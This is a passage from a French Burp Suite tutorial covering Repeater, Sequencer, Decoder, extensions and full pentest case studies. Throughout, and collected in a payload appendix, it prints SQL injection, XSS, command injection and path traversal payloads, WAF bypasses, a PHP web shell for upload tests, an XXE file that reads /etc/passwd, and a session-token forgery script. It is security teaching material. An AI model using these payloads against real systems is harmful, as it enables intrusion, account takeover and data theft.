Ctrl/Cmd + Space : Send request
Ctrl/Cmd + U     : URL-encode selection
Ctrl/Cmd + Shift + U : URL-decode selection
Ctrl/Cmd + R     : Rename tab
Ctrl/Cmd + W     : Close tab

Selection + Click droit:
- Convert selection:
  - URL > URL-encode
  - HTML > HTML-encode
  - Base64 > Base64-encode
  - Hex

9.8 Comparer Réponses

Envoyer plusieurs requêtes avec variations:
1. Send request A
2. Modifier
3. Send request B

Click droit dans Response > Send to Comparer
Répéter pour request B
Comparer > Words ou Bytes

Utilité:
- Identifier différences subtiles
- Blind SQL injection (time-based)
- A/B testing comportements

9.9 Follow Redirections

Si la réponse est 301/302:

Options (en bas):
☑ Follow redirections

Burp suivra automatiquement et affichera la réponse finale

9.10 Request in Browser

Click droit dans Request panel:
Request in browser > In current browser session

Burp génère une URL unique:
http://127.0.0.1:8080/burp/...

Coller dans le navigateur pour voir le rendu
Utile pour tester XSS ou voir le rendu HTML

9.11 Cas d’Usage Courants

Test d’Injection SQL

Requête:
GET /product?id=1 HTTP/1.1

Tests successifs:
id=1'           → Erreur SQL?
id=1' OR '1'='1 → Bypass?
id=1 AND 1=1    → Réponse normale?
id=1 AND 1=2    → Réponse différente?
id=1' UNION SELECT NULL--  Union-based?

Test XSS

Requête:
POST /comment HTTP/1.1

comment=<script>alert(1)</script>

Variations:
comment=<img src=x onerror=alert(1)>
comment=<svg onload=alert(1)>
comment='"><script>alert(1)</script>

Vérifier si dans Response:
- Payload reflété tel quel
- Payload encodé
- Payload filtré

Test IDOR

GET /api/document/123 HTTP/1.1

Tests:
/api/document/124
/api/document/125
...
/api/document/1

Observer:
- 200 OK: Accès non autorisé (IDOR!)
- 403 Forbidden: Contrôle OK
- 404 Not Found: Document inexistant

Test d’Authentication Bypass

POST /admin HTTP/1.1
Cookie: session=abc123

Supprimer/modifier cookie:
Cookie: session=
Cookie: (supprimer la ligne)

Ajouter headers:
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin

Test de Race Condition

Requête:
POST /coupon HTTP/1.1

code=DISCOUNT10

Ouvrir plusieurs tabs Repeater (Ctrl+R plusieurs fois)
Dans chaque tab, même requête
Envoyer simultanément (Send Send Send rapide)

Observer si le coupon peut être utilisé plusieurs fois

10. Sequencer

Le Sequencer analyse la qualité et la prédictibilité des tokens de session.

10.1 Qu’est-ce que le Sequencer ?

Analyse statistique de tokens pour détecter: - Faible entropie - Patterns prévisibles - Algorithmes faibles - Corrélation temporelle

10.2 Workflow

1. Identifier la requête qui génère des tokens
2. Envoyer au Sequencer
3. Configurer quel token analyser
4. Collecter des échantillons (minimum 100, recommandé 20000+)
5. Analyser les résultats

10.3 Capture de Tokens

Depuis Proxy history:
Click droit sur requête de login > Send to Sequencer

Sequencer > Token Location Within Response

Options:
- Cookie: session
- Custom location (regex)
- Form field

Start live capture

Exemple :

Requête:
POST /login HTTP/1.1

username=user&password=pass

Réponse:
HTTP/1.1 200 OK
Set-Cookie: session=abc123xyz

Token à analyser: abc123xyz

10.4 Capture Live

Sequencer > Live capture

Actions:
[Start capture]

Burp envoie automatiquement la requête plusieurs fois et collecte les tokens.

Tokens captured: 0 / 20000
[Pause] [Resume] [Stop] [Analyze now]

Minimum 100 pour analyse basique
Recommandé 10000+ pour analyse fiable

10.5 Manual Load

Si tokens déjà collectés:

Sequencer > Manual load

Coller les tokens (un par ligne):
token1
token2
token3
...

[Analyze]

10.6 Analyse des Résultats

Sequencer > Character-level analysis

Résultats:
- Overall result: Quality estimate (Good/Medium/Poor)
- Effective entropy: Bits d'entropie
- Reliability: Confidence level

Character position analysis:
Position 1: High entropy
Position 2: High entropy
Position 3: Low entropy ← Problème!
...

Bit-level analysis: Distribution des bits

Interprétation

Effective Entropy:
- 128+ bits: Excellent
- 64-128 bits: Bon
- 32-64 bits: Moyen (potentiellement bruteforceable)
- < 32 bits: Faible (vulnérable)

FIPS Tests:
Tests statistiques standards pour randomness
Passed: Bon
Failed: Patterns détectés (mauvais signe)

10.7 Exemples d’Analyse

Token Fort

Token: 8f3d7b2a1c4e9f5d6a8b7c3e1f4d9a2b

Analysis:
- Effective entropy: 128 bits
- Character-level: Uniform distribution
- FIPS tests: All passed

Conclusion: Fort, non prédictible

Token Faible

Token: 1001, 1002, 1003, 1004...

Analysis:
- Effective entropy: 10 bits
- Sequential pattern detected
- FIPS tests: Failed

Conclusion: Très faible, prédictible, bruteforceable

Token avec Timestamp

Tokens:
20240315120000_abc
20240315120001_def
20240315120002_ghi

Analysis:
- First part: Timestamp (predictable)
- Effective entropy: ~24 bits (only random part)

Conclusion: Réduisible, potentiellement attaquable

10.8 Cas d’Usage

Test de Session Tokens

Application: Site e-commerce

1. Capturer 10000 tokens de session
2. Analyser avec Sequencer
3. Si entropie < 64 bits:
   - Tenter brute force
   - Tenter prediction

4. Si pattern temporel:
   - Générer tokens valides futurs
   - Session hijacking

Test de Reset Password Tokens

Application: Fonction "Forgot Password"

1. Demander 1000 reset tokens
2. Analyser séquence
3. Si faible entropie:
   - Prédire token d'un autre utilisateur
   - Réinitialiser son mot de passe (Account Takeover)

Test CSRF Tokens

1. Collecter CSRF tokens
2. Vérifier si:
   - Prédictibles
   - Réutilisables
   - Manquants

3. Si prévisible: Générer token valide pour CSRF attack

11. Decoder

Le Decoder encode/décode des données dans différents formats.

11.1 Interface

Decoder tab:
┌────────────────────────────────────┐
  Input:                            
  ┌──────────────────────────────┐ 
    data to encode/decode        
  └──────────────────────────────┘ 
                                    
  [Encode as...] [Decode as...]     
  [Hash]                            
                                    
  Output:                           
  ┌──────────────────────────────┐ 
    result                        
  └──────────────────────────────┘ 
└────────────────────────────────────┘

11.2 Envoyer au Decoder

Depuis n'importe où dans Burp:
1. Sélectionner du texte
2. Click droit > Send to Decoder
Ou: Ctrl/Cmd + Shift + D

11.3 Encodages Disponibles

URL Encoding

Input:  hello world
Encode: hello%20world

Input:  <script>alert(1)</script>
Encode: %3Cscript%3Ealert%281%29%3C%2Fscript%3E

HTML Encoding

Input:  <script>alert(1)</script>
Encode: &lt;script&gt;alert(1)&lt;/script&gt;

Input:  "test"
Encode: &quot;test&quot;

Base64

Input:  admin:password
Encode: YWRtaW46cGFzc3dvcmQ=

Input:  {"user":"admin"}
Encode: eyJ1c2VyIjoiYWRtaW4ifQ==

ASCII Hex

Input:  hello
Encode: 68656c6c6f

Input:  ABC
Encode: 414243

Hex

Similar to ASCII Hex but with spaces
Input:  hello
Encode: 68 65 6c 6c 6f

Octal

Input:  ABC
Encode: 101 102 103

Binary

Input:  A
Encode: 01000001

GZIP

Compress data with GZIP algorithm
Utilisé pour body HTTP compressé

11.4 Hash Functions

Decoder > Hash

Disponibles:
- MD5
- SHA-1
- SHA-224
- SHA-256
- SHA-384
- SHA-512

Input:  password
MD5:    5f4dcc3b5aa765d61d8327deb882cf99
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

11.5 Chaîner les Opérations

Exemple: Double URL encoding

Input: <script>alert(1)</script>

Encode as URL: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
Encode as URL: %253Cscript%253Ealert%25281%2529%253C%252Fscript%253E

Chaque opération crée une nouvelle section dans Decoder

11.6 Smart Decode

Click "Smart decode" button

Burp tente automatiquement de décoder:
- Détecte le format (Base64, URL, Hex, etc.)
- Applique les décodages successifs
- Affiche les résultats intermédiaires

Exemple:
Input: JTNDc2NyaXB0JTNFYWxlcnQoMSklM0MlMkZzY3JpcHQlM0U=

Smart decode:
1. Base64 decode: %3Cscript%3Ealert(1)%3C%2Fscript%3E
2. URL decode: <script>alert(1)</script>

11.7 Cas d’Usage Pratiques

Décoder JWT Token

JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Structure: header.payload.signature

Decoder:
Part 1 (header): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Decode as Base64: {"alg":"HS256","typ":"JWT"}

Part 2 (payload): eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
Decode as Base64: {"sub":"1234567890","name":"John Doe","iat":1516239022}

Créer un Payload Encodé

Pour XSS dans context URL-encoded:

1. Input: <img src=x onerror=alert(1)>
2. Encode as URL: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
3. Copier le résultat
4. Utiliser dans Repeater/Intruder
Cookie: user=YWRtaW4%3D

1. URL decode: YWRtaW4=
2. Base64 decode: admin

Maintenant tester:
1. Input: admin
2. Modify: root
3. Base64 encode: cm9vdA==
4. URL encode: cm9vdA%3D%3D
5. Tester avec Cookie: user=cm9vdA%3D%3D

Hasher des Mots de Passe

Pour tester si l'application utilise MD5:

Input: password123
Hash > MD5: 482c811da5d5b4bc6d497ffa98491e38

Rechercher ce hash dans les requêtes/responses
Si présent: MD5 utilisé (faible pour mots de passe!)

12. Comparer

Le Comparer permet de comparer deux (ou plus) requêtes ou réponses pour identifier les différences.

12.1 Envoyer au Comparer

Depuis Proxy, Repeater, Intruder:
Click droit > Send to Comparer

Minimum 2 items requis pour comparer

12.2 Types de Comparaison

Words

Compare words (tokens séparés par espaces)

Affichage:
- Mots identiques: non mis en évidence
- Mots différents: surlignés
- Mots ajoutés: vert
- Mots supprimés: rouge

Bytes

Compare byte par byte

Affichage:
- Bytes identiques: non mis en évidence
- Bytes différents: surlignés

Plus précis mais moins lisible

12.3 Interface de Comparaison

┌────────────────────────────────────────┐
│  Item 1              Item 2            │
├────────────────────────────────────────┤
│  HTTP/1.1 200 OK    HTTP/1.1 200 OK    │
│  Content-Length: 50 Content-Length: 52 │ ← Différence
│                                        │
│  {"id":1,"admin":   {"id":1,"admin":   │
│   false}             true}             │ ← Différence
└────────────────────────────────────────┘

12.4 Cas d’Usage

Blind SQL Injection

Test: id=1 AND 1=1 vs id=1 AND 1=2

Réponse 1: Contenu normal
Réponse 2: Contenu vide ou différent

Comparer:
- Si différence significative: Vulnérable
- Si identique: Pas de SQL injection (ou time-based)

Différence Utilisateur Normal vs Admin

Requête User:
GET /dashboard HTTP/1.1
Cookie: session=user_token

Requête Admin:
GET /dashboard HTTP/1.1
Cookie: session=admin_token

Comparer les réponses:
- Identifier fonctionnalités admin
- Tester avec user token pour voir si accessible (Privilege Escalation)

A/B Testing Comportements

Tester si un paramètre change le comportement:

Request 1: GET /api?debug=false
Request 2: GET /api?debug=true

Comparer:
- Rechercher info leaks dans debug=true
- Stack traces
- Informations sensibles

IDOR Detection

Request 1: GET /api/user/123
Response: {"id":123,"name":"Alice","email":"alice@example.com"}

Request 2: GET /api/user/124
Response: {"id":124,"name":"Bob","email":"bob@example.com"}

Comparer:
- Structure identique: Bon
- Bob accessible sans autorisation: IDOR!

12.5 Sync Views

Option: Sync views

Quand activé:
- Scroller dans Item 1 scrolle automatiquement Item 2
- Plus facile de comparer des réponses longues

13. Extensions (BApp Store)

Les extensions étendent les fonctionnalités de Burp Suite.

13.1 BApp Store

Extender > BApp Store

Catégories:
- Active Scan
- Passive Scan
- Traffic Analysis
- Beautifiers
- Logging
- Testing Methodologies
- Cryptography
- Decode

13.2 Installation d’Extensions

Extender > BApp Store > [Extension name] > Install

Ou manuellement:
Extender > Extensions > Add
Extension type: Java, Python, Ruby
Extension file: .jar, .py, .rb

13.3 Extensions Essentielles

Autorize

But: Tester les failles d'autorisation automatiquement

Installation: BApp Store > Autorize > Install

Configuration:
1. Se connecter avec user à faibles privilèges
2. Autorize > Cookies > Add cookie de cette session
3. Naviguer avec un user privilégié
4. Autorize teste automatiquement si low-priv user peut accéder

Résultats:
- Rouge: Accès non autorisé détecté (vulnérabilité!)
- Vert: Accès refusé (bon)

Turbo Intruder

But: Attaques très rapides (contourner limite Community)

Installation: BApp Store > Turbo Intruder > Install

Usage:
Click droit sur requête > Extensions > Turbo Intruder
Scripter l'attaque en Python

Exemple:
def queueRequests(target, wordlists):
    for word in open('/path/to/wordlist.txt'):
        engine.queue(target.req, word.rstrip())
But: Extraire URLs/endpoints depuis fichiers JavaScript

Installation: BApp Store > JS Link Finder > Install

Usage:
- Automatique sur fichiers .js scannés
- Target > Site map > voir endpoints découverts

Logger++

But: Logging avancé avec export

Installation: BApp Store > Logger++ > Install

Features:
- Filtres avancés
- Export CSV, JSON
- Regex matching
- Color coding

JSON Web Tokens (JWT4B)

But: Décoder, modifier, attaquer JWT tokens

Installation: BApp Store > JSON Web Tokens > Install

Usage:
Intercepter requête avec JWT:
Authorization: Bearer eyJ...

Extension affiche:
- Header décodé
- Payload décodé
- Signature

Actions:
- Modifier payload
- Changer algorithme (alg: none)
- Test key confusion attacks

Retire.js

But: Identifier bibliothèques JavaScript vulnérables

Installation: BApp Store > Retire.js > Install

Scan automatique:
- Détecte jQuery 1.8.0 (vulnérable XSS)
- Détecte Angular 1.5.0 (vulnérable)
- Etc.

Upload Scanner

But: Tester upload de fichiers

Installation: BApp Store > Upload Scanner > Install

Tests:
- Bypass extension filters
- Exécution code serveur
- XSS via upload
- XXE via SVG, XML

Param Miner

But: Découvrir paramètres cachés

Installation: BApp Store > Param Miner > Install

Usage:
Click droit > Extensions > Param Miner > Guess params

Teste des milliers de noms de paramètres communs:
- debug, admin, test, dev, etc.

SQLiPy

But: SQLi scanner avancé

Installation: Manuelle (GitHub)

Features:
- Error-based SQLi
- Boolean-based blind
- Time-based blind
- Union-based

13.4 Extensions Python

Nécessite Jython standalone.

Configuration:
Extender > Options > Python Environment
Jython standalone JAR: /path/to/jython-standalone.jar

Télécharger Jython:
https://www.jython.org/download.html

13.5 Créer une Extension Simple

Extension Java Basique

// BurpExtender.java
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender {
    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        callbacks.setExtensionName("Hello World");
        PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true);
        stdout.println("Hello from Burp Extension!");
    }
}

// Compiler et charger le .jar dans Extender > Extensions > Add

Extension Python Basique

# extension.py
from burp import IBurpExtender

class BurpExtender(IBurpExtender):
    def registerExtenderCallbacks(self, callbacks):
        callbacks.setExtensionName("Hello Python")
        print("Hello from Python extension!")
        return

# Charger directement le .py dans Extender > Extensions > Add

13.6 Extensions Recommandées par Cas d’Usage

API Testing

- JSON Web Tokens
- WSDL Wizard
- Swagger Parser
- GraphQL Raider

Authentification

- Autorize
- AuthMatrix
- Session Timeout Test

Injection

- SQLiPy
- Hackvertor
- Upload Scanner

Recon

- JS Link Finder
- Param Miner
- Content Type Converter

Reporting

- Logger++
- Report To Elastic
- Flow

14. Techniques Avancées

14.1 Session Handling

Gérer automatiquement les sessions complexes.

Project options > Sessions > Session Handling Rules

Add rule:
Name: Maintain session
Scope: Include all URLs in scope

Rule Actions:
- Use cookies from Burp's cookie jar
- Run macro (pour re-authentification automatique)

Créer un Macro

Scénario: Re-login automatique quand session expire

1. Project options > Sessions > Macros > Add
2. Select requests:
   - GET /login (pour CSRF token)
   - POST /login (authentification)
3. Macro editor:
   - Extraire CSRF token
   - Utiliser dans POST
4. Session handling rule: Run macro if session invalid

14.2 Collaborator Client (Pro)

Détection de vulnérabilités out-of-band (SSRF, XXE, etc.).

Burp menu > Burp Collaborator client

Generate payload: xyz123.burpcollaborator.net

Utiliser ce payload dans tests:
- SSRF: http://xyz123.burpcollaborator.net
- XXE: <!ENTITY xxe SYSTEM "http://xyz123.burpcollaborator.net">
- DNS: nslookup xyz123.burpcollaborator.net

Poll now: Vérifier si interactions détectées

Résultats:
- HTTP request reçu: SSRF confirmé!
- DNS lookup reçu: XXE confirmé!

14.3 Macro et Token Handling

Exemple: Application avec CSRF token dynamique

1. Enregistrer macro:
   - GET /form (récupérer CSRF token)

2. Session handling rule:
   - Run macro before each request
   - Extract from response: csrf_token=([a-f0-9]{32})
   - Update current request parameter: csrf_token

Maintenant chaque requête aura le token valide

14.4 Invisible Proxy (ProProxy sur port non-standard)

Scenario: Application non-browser (mobile app, API client)

Proxy > Options > Proxy Listeners
Add:
- Bind to port: 8081
- Request handling:
  - Redirect to host: api.example.com
  - Redirect to port: 443
  - Force use of TLS: Yes

Client config:
Change API endpoint to http://127.0.0.1:8081

Burp intercepte sans que le client le sache

14.5 Upstream Proxy Chaining

User options > Connections > Upstream Proxy Servers

Add:
Destination host: *
Proxy host: proxy.corp.com
Proxy port: 8080
Authentication: Optional

Burp → Corporate Proxy → Internet

Utile pour:
- Tests derrière corporate proxy
- Chaining avec Tor
- Logging centralisé

14.6 Custom SSL Certificates

Proxy > Options > TLS

Import / Generate CA certificate

Custom certificate:
Generate in Burp
Use existing certificate

Utile pour:
- Mobile app testing (certificate pinning bypass)
- Custom PKI environments

14.7 Scan Selected Insertion Points

Intruder ou Scanner avec contrôle fin

Exemple: Scanner seulement le cookie, pas les params URL

Target > Site map > click droit > Scan
Scan configuration > Insertion points
Configure: Only cookies

14.8 Match and Replace Avancé

Scenario: Ajouter header custom à toutes les requêtes

Proxy > Options > Match and Replace
Add:
Type: Request header
Match: ^Host:.*$
Replace: Host: $0\r\nX-Custom-Header: value

Attention au \r\n pour nouvelle ligne HTTP

14.9 Mobile App Testing

Configuration

1. Installer Burp CA sur mobile:
   - Export cacert.der
   - iOS: Email et installer profile
   - Android: Settings > Security > Install certificate

2. Configure WiFi proxy:
   - Proxy: IP de la machine Burp
   - Port: 8080

3. Si certificate pinning:
   - Frida
   - SSL Kill Switch
   - Objection

Intercept Traffic

Proxy > Options > Proxy Listeners
Bind to: All interfaces (ou IP spécifique)
Port: 8080

Mobile:
WiFi Settings > Manual Proxy
Server: 192.168.1.100 (IP de la machine Burp)
Port: 8080

14.10 API Testing Avancé

GraphQL

Envoyer requête GraphQL au Repeater:

POST /graphql HTTP/1.1
Content-Type: application/json

{"query":"{ users { id name email } }"}

Tests:
- Introspection: {"query":"{ __schema { types { name } } }"}
- Injection: {"query":"{ user(id: \"1' OR '1'='1\") { name } }"}
- Batching: [{"query":"..."}, {"query":"..."}]

REST API

Identifier pattern:
GET /api/v1/users/123

Tests IDOR:
- GET /api/v1/users/124
- GET /api/v1/users/1
- GET /api/v1/users/admin

Tests method:
- PUT /api/v1/users/123 (update)
- DELETE /api/v1/users/123
- PATCH /api/v1/users/123

SOAP/XML

Extension: WSDL Wizard

Parse WSDL:
http://api.example.com/service?wsdl

Tests:
- XXE injection
- SQL injection dans paramètres SOAP

14.11 Advanced Intruder Techniques

Pitchfork for Credential Stuffing

Positions:
username=§user§&password=§pass§

Payload set 1: leaked_usernames.txt
Payload set 2: leaked_passwords.txt

Type: Pitchfork (parallel iteration)

Teste combos connus de breaches

Recursive Grep

Scenario: Extraire un token et l'utiliser dans la prochaine requête

Intruder > Options > Grep - Extract
Extract: token=([a-f0-9]+)

Payload Processing:
- Add token as payload
- Use extracted value in next request

Permet attaques chaînées

15. Cas Pratiques Complets

15.1 Cas Pratique 1: Test d’une Application E-commerce

Objectif: Audit complet de sécurité

Phase 1: Configuration et Mapping

1. Démarrer Burp
2. Configurer proxy (127.0.0.1:8080)
3. Installer CA certificate
4. Naviguer vers https://shop.example.com
5. Target > Scope: Add https://shop.example.com

Phase 2: Découverte

1. Navigation manuelle:
   - Register
   - Login
   - Browse products
   - Add to cart
   - Checkout process
   - Account settings

2. Observer dans Target > Site map:
   - /api/products
   - /api/cart
   - /api/checkout
   - /api/orders
   - /admin (403 Forbidden)

Phase 3: Test d’Authentification

Proxy > HTTP history > Filter: POST /login

Envoyer au Repeater:
POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"test@example.com","password":"password123"}

Tests:
1. Brute force protection?
   - Intruder > Sniper
   - Payload: passwords.txt
   - Grep - Match: "Invalid credentials", "Success"
   - Observer si rate limiting

2. SQL Injection?
   - username: admin'--
   - username: ' OR '1'='1
   - Observer réponses

3. Weak session tokens?
   - Sequencer sur session cookie

Phase 4: Test d’IDOR

Requête observée:
GET /api/orders/12345 HTTP/1.1
Cookie: session=abc123

Response:
{"orderId":12345,"user":"test@example.com","total":99.99}

Tests dans Repeater:
GET /api/orders/12346 HTTP/1.1
GET /api/orders/12344 HTTP/1.1
GET /api/orders/1 HTTP/1.1

Si 200 OK avec données d'autres users: IDOR vulnérable!

Automatiser avec Intruder:
Position: /api/orders/§12345§
Payload: Numbers 1-50000
Filter results: Status=200, Length > 100

Phase 5: Test du Panier

POST /api/cart/add HTTP/1.1

{"productId":123,"quantity":1,"price":99.99}

Tests:
1. Manipuler le prix:
   {"productId":123,"quantity":1,"price":0.01}

2. Quantité négative:
   {"productId":123,"quantity":-1,"price":99.99}

3. Overflow:
   {"productId":123,"quantity":999999,"price":99.99}

Phase 6: Test du Checkout

POST /api/checkout HTTP/1.1

{"cartId":456,"couponCode":"SAVE10"}

Tests:
1. Réutiliser coupon (Race condition):
   - Ouvrir 10 tabs Repeater
   - Envoyer simultanément
   - Vérifier si coupon appliqué plusieurs fois

2. Coupon bruteforce:
   - Intruder: couponCode=§SAVE10§
   - Payload: Brute forcer (SAVE01-SAVE99)

Phase 7: Test Privilege Escalation

Observé: /admin (403 Forbidden)

Tests:
1. Modifier session cookie:
   - Decoder: session cookie
   - Si {"userId":123,"role":"user"}
   - Modifier: {"userId":123,"role":"admin"}
   - Re-encoder et tester

2. Ajouter headers:
   X-Original-URL: /admin
   X-Forwarded-For: 127.0.0.1

3. Change method:
   GET /admin  POST /admin

Phase 8: XSS Testing

Points d'entrée:
- Product reviews
- Username
- Search functionality

Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
'"><svg onload=alert(1)>

Intruder:
Position: reviewText=§test§
Payload: xss-payload-list.txt

Phase 9: Reporting

Vulnérabilités trouvées:
1. IDOR in /api/orders
   - Severity: High
   - Proof: Screenshots + requests

2. Price manipulation
   - Severity: Critical
   - Proof: Requêtes Repeater

3. Coupon reuse (Race condition)
   - Severity: Medium
   - Proof: Intruder results

4. XSS in product reviews
   - Severity: Medium
   - Proof: Stored XSS screenshot

Exporter:
Target > Site map > Generate report

15.2 Cas Pratique 2: API REST Testing

Objectif: Tester une API REST

Setup

API: https://api.example.com/v1

Endpoints connus:
GET    /users
GET    /users/{id}
POST   /users
PUT    /users/{id}
DELETE /users/{id}

Authentication

POST /auth/login HTTP/1.1

{"email":"user@example.com","password":"pass123"}

Response:
{"token":"eyJ..."}

Configurer Burp:
Proxy > Options > Match and Replace
Type: Request header
Match: ^Authorization:.*
Replace: Authorization: Bearer eyJ...

Testing Users Endpoint

GET /users/1 HTTP/1.1
Authorization: Bearer token

Tests:
1. IDOR:
   GET /users/2, /users/3, ...
   Intruder avec Numbers payload

2. No Auth:
   Supprimer header Authorization
   Si 200 OK: Broken authentication!

3. Method manipulation:
   GET /users/1 → DELETE /users/1
   Si 200 OK: Unintended method allowed!

4. Mass Assignment:
   PUT /users/1 HTTP/1.1
   {"name":"test","role":"admin"}

   Si role accepté: Mass assignment vuln!

Parameter Pollution

GET /users?id=1&id=2 HTTP/1.1

Observer comportement:
- Premier id utilisé
- Dernier id utilisé
- Tableau retourné
- Erreur

Exploits possibles selon comportement

Rate Limiting

Intruder:
GET /api/expensive-operation HTTP/1.1

Payload: Null payloads x1000

Observer:
- 429 Too Many Requests? (bon)
- 200 OK pour tout? (no rate limiting - vulnérable)

15.3 Cas Pratique 3: Bypass de WAF

Objectif: Contourner un WAF détectant les payloads SQL

Détection du WAF

Payload: ' OR 1=1--

Response: 403 Forbidden
X-WAF: Blocked

Confirm WAF présent

Techniques de Bypass

1. Encodage

Repeater:
Input: ' OR 1=1--

Tests:
- URL encode: %27%20OR%201%3D1--
- Double URL encode: %2527%2520OR%25201%253D1--
- Unicode: %u0027 OR 1=1--

2. Case Variation

' Or 1=1--
' oR 1=1--
' or 1=1--

3. Commentaires

'/**/OR/**/1=1--
'/*!OR*/1=1--
' OR--
1=1--

4. Alternative Syntax

' || '1'='1
' && '1'='1
admin'--
admin'#

5. Null Bytes

'%00 OR 1=1--

6. Change Content-Type

Original:
Content-Type: application/x-www-form-urlencoded

Changer en:
Content-Type: application/json

{"username":"' OR 1=1--"}

WAF peut ne pas parser JSON correctement

7. HTTP Parameter Pollution

id=1&id=' OR 1=1--

Selon le WAF:
- Premier param checked seulement
- Dernier param passed à l'application

15.4 Cas Pratique 4: Session Puzzle

Objectif: Exploitation d’une session faible

Analyse du Token

Session token observé:
session=MTYxMDQ4NzAwMC0xMjM=

Decoder:
Base64 decode: 1610487000-123

Format: timestamp-userId

Problème: Prédictible!

Génération de Token Valide

Python script:
import base64
import time

timestamp = int(time.time())
userId = 456  # Autre utilisateur

token = f"{timestamp}-{userId}"
token_b64 = base64.b64encode(token.encode()).decode()

print(f"session={token_b64}")

Test avec Intruder

GET /dashboard HTTP/1.1
Cookie: session=§MTYxMDQ4NzAwMC0xMjM§

Payload:
Custom iterator pour générer tokens:
timestamp: current ± 3600 seconds
userId: 1-1000

Cluster Bomb attack

Grep - Match: "Welcome"

Trouver sessions valides d'autres users

15.5 Cas Pratique 5: Upload Vulnerabilities

Objectif: Tester upload de fichiers

Test 1: Extension Bypass

Upload normal:
shell.php  Blocked

Tests dans Repeater:
Content-Disposition: form-data; name="file"; filename="shell.php"

Variations:
- shell.php.jpg
- shell.php%00.jpg
- shell.php%0a.jpg
- shell.PhP (case variation)
- shell.phtml, shell.php5, shell.phar

Content-Type variations:
- image/jpeg (au lieu de application/x-php)

Test 2: Content Type Bypass

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Si validation basée sur Content-Type seulement: Bypass!

Test 3: Magic Bytes

Ajouter magic bytes d'image avant code PHP:

File content (Hex view):
FF D8 FF E0 (JPEG magic bytes)
<?php system($_GET['cmd']); ?>

Upload comme image.jpg

Test 4: Path Traversal

filename="../../shell.php"
filename="....//....//shell.php"
filename="%2e%2e%2fshell.php"

Si upload dans /uploads/ mais path traversal possible:
File accessible à /shell.php (root web)

Test 5: XXE via SVG

Upload file: xxe.svg

Content:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
    <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Si processed server-side: XXE vulnerability

Annexes

A. Raccourcis Clavier

GLOBAUX
Ctrl/Cmd + Shift + I    : Toggle intercept
Ctrl/Cmd + R            : Send to Repeater
Ctrl/Cmd + I            : Send to Intruder
Ctrl/Cmd + Shift + D    : Send to Decoder
Ctrl/Cmd + H            : HTTP history
Ctrl/Cmd + Shift + T    : Target sitemap

REPEATER
Ctrl/Cmd + Space        : Send request
Ctrl/Cmd + U            : URL-encode selection
Ctrl/Cmd + Shift + U    : URL-decode selection

INTRUDER
Ctrl/Cmd + I            : Start attack

B. Workflows Recommandés

Workflow Audit Web Application

1. Configuration (Proxy, CA cert, Scope)
2. Discovery (Manual browse + Spider)
3. Passive Analysis (Proxy history review)
4. Active Testing:
   - Repeater (manual testing)
   - Intruder (automated attacks)
   - Scanner (Pro only)
5. Documentation (Comments, highlights)
6. Reporting (Export findings)

Workflow API Testing

1. Import API documentation (OpenAPI/Swagger)
2. Configure authentication (Match & Replace or Sessions)
3. Test each endpoint:
   - Authentication/Authorization
   - Input validation
   - Rate limiting
   - IDOR
4. Automate with Intruder
5. Document findings

C. Liste de Payloads Utiles

SQL Injection

' OR '1'='1
' OR 1=1--
admin'--
' UNION SELECT NULL--
' AND 1=2 UNION SELECT table_name FROM information_schema.tables--

XSS

<script>alert(1)</script>
<img src=x onerror=alert(1)>
'"><script>alert(1)</script>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>

Command Injection

; ls
| whoami
& ping -c 10 127.0.0.1
`id`
$(whoami)

Path Traversal

../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd

D. Codes HTTP Importants

2xx Success
200 OK
201 Created
204 No Content

3xx Redirection
301 Moved Permanently
302 Found
304 Not Modified

4xx Client Error
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
405 Method Not Allowed
429 Too Many Requests

5xx Server Error
500 Internal Server Error
502 Bad Gateway
503 Service Unavailable

E. Headers de Sécurité

Headers à vérifier (absents = potentielle vuln):

Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block

Headers à surveiller:
Server: Apache/2.4.1 (version disclosure)
X-Powered-By: PHP/7.0.0 (version disclosure)

F. Ressources Complémentaires

Documentation Officielle: - https://portswigger.net/burp/documentation

Training: - PortSwigger Web Security Academy (gratuit) - Burp Suite Certified Practitioner

Labs de Pratique: - PortSwigger Academy Labs - DVWA (Damn Vulnerable Web Application) - WebGoat - Juice Shop

Extensions: - BApp Store dans Burp - GitHub: portswigger, burp-extensions

Communauté: - PortSwigger Support Center - Twitter: @BurpSuite - Reddit: r/netsec


Conclusion

Burp Suite est l’outil le plus complet pour tester la sécurité des applications web. La maîtrise de Burp nécessite:

  1. Compréhension des vulnérabilités web - Savoir quoi chercher
  2. Pratique régulière - Utiliser sur des labs légaux
  3. Connaissance HTTP - Comprendre le protocole
  4. Méthodologie - Approche systématique
  5. Créativité - Penser comme un attaquant

Édition Community vs Professional:

